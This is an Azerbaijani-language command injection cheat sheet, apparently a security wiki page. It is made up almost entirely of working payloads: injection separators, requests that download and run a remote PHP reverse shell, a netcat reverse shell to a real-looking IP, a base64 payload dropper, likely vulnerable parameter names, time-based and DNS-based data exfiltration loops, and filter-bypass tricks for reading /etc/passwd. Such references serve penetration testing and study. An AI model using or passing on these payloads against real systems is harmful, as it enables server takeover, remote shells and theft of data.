Command Injection
Müəllif : Zaur Qasımov

Command injection nədir?
OS command injection (həmçinin shell injection kimi tanınır) təcavüzkara tətbiqi idarə edən serverdə ixtiyari əməliyyat sistemi (ƏS) əmrlərini yerinə yetirməyə imkan verən və adətən tətbiqi və onun bütün məlumatlarını tamamilə pozmağa imkan verən veb təhlükəsizlik zəifliyidir.
Kontekst
Daxil etdiyiniz yerdən asılı olaraq, əmrlərdən əvvəl sitat gətirilən konteksti (" və ya ' istifadə edilmiş) dayandırmalısınız.
Command Injection/Execution
Unix və Windows-u dəstəkləyən
ls||id; ls ||id; ls|| id; ls || id
ls|id; ls |id; ls| id; ls | id
ls&&id; ls &&id; ls&& id; ls && id
ls&id; ls &id; ls& id; ls & id
ls %0A id # %0A
Sadəcə unix dəstəkləyən
`ls`
$(ls) # $()
ls; id
ls${LS_COLORS:10:1}${IFS}id
> /var/www/html/out.txt
< /etc/passwd
Məsələn
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Parametrlər
Kod inyeksiyasına və oxşar RCE zəifliklərinə qarşı həssas ola biləcək ən yaxşı 25 parametr bunlardır:
?cmd={payload} ?exec={payload} ?command={payload}
?execute{payload} ?ping={payload} ?query={payload}
?jump={payload} ?code={payload} ?reg={payload}
?do={payload} ?func={payload} ?arg={payload}
?option={payload} ?load={payload} ?process={payload}
?step={payload} ?read={payload} ?function={payload}
?req={payload} ?feature={payload}
Zamana əsaslanan məlumatların çıxarılması
Məlumatların çıxarılması:char by char
millisec@lab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
millisec@lab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS əsaslı məlumatların eksfiltrasiyası
http://dnsbin.zhack.ca/ ünvanına keçin
Sadə "ls" yerinə yetirin
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
DNS əsaslı məlumatların eksfiltrasiyasını yoxlamaq üçün onlayn alətlər:
dnsbin.zhack.ca pingb.in
Filtering bypass
Windows üçün
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calca
Linux ücün
Bypass backslash və slash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
Bypass pipes
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
PreviousServer Side Template Injection(SSTI) nədir?NextKibertəhlükəsizliyi öyrənmək üçün ən yaxşı 10 səbəb
Last updated
Was this helpful?